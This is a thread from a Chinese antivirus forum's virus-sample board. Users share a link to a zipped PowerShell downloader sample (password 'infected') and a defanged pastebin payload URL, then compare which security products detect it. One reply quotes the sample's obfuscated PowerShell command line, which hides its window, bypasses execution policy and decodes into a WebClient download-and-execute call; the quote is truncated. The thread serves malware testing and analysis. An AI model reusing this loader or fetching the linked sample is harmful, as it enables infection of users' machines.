查看: 1486|回复: 14
收起左侧

[病毒样本] Downloader.PowerShell

[复制链接]
petr0vic
发表于 2019-1-13 21:06:20 | 显示全部楼层 |阅读模式
https://my.mixtape.moe/wzkewx.zip

infected

drop
hxxps://pastebin.com/raw/GbDcvb9u
dreams521
发表于 2019-1-13 21:14:51 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
www-tekeze
发表于 2019-1-13 21:20:52 | 显示全部楼层
火绒、智量均不报,双击试试。。
Jerry.Lin
发表于 2019-1-13 21:22:18 | 显示全部楼层
VTSS
Shell.Trojan.Downloader
www-tekeze
发表于 2019-1-13 21:26:45 | 显示全部楼层
www-tekeze 发表于 2019-1-13 21:20
火绒、智量均不报,双击试试。。

有很多Powershell动作,还会利用powershell.exe联网,全部放行但最终运行出错。。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
ATP_synthase
发表于 2019-1-13 21:26:53 | 显示全部楼层

不是这个系统文件啊。。。
www-tekeze
发表于 2019-1-13 21:29:14 | 显示全部楼层
本帖最后由 www-tekeze 于 2019-1-13 21:33 编辑

看属性确实是系统文件powershell.exe的快捷方式,不明觉厉。。
c/mm
发表于 2019-1-13 22:55:46 | 显示全部楼层
本帖最后由 c/mm 于 2019-1-14 00:55 编辑

avast




F-Secure 扫描 MISS 双击拦截



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
YU2711
发表于 2019-1-14 00:27:35 | 显示全部楼层
Trend Micro

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
yjwfdc
头像被屏蔽
发表于 2019-1-14 12:33:00 | 显示全部楼层
www-tekeze 发表于 2019-1-13 21:29
看属性确实是系统文件powershell.exe的快捷方式,不明觉厉。。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP   iex ("$( SeT-ITeM  'VariaBle:OFS' '')"+[StRING][CHAr[]] (73 ,69, 88, 40, 78,101 , 119 , 45, 79 ,98,106,101 , 99,116,32 ,83,121,115 ,116 ,101 ,109, 46, 78 , 101,116,46,87 , 101
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-3-29 20:11 , Processed in 0.125347 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表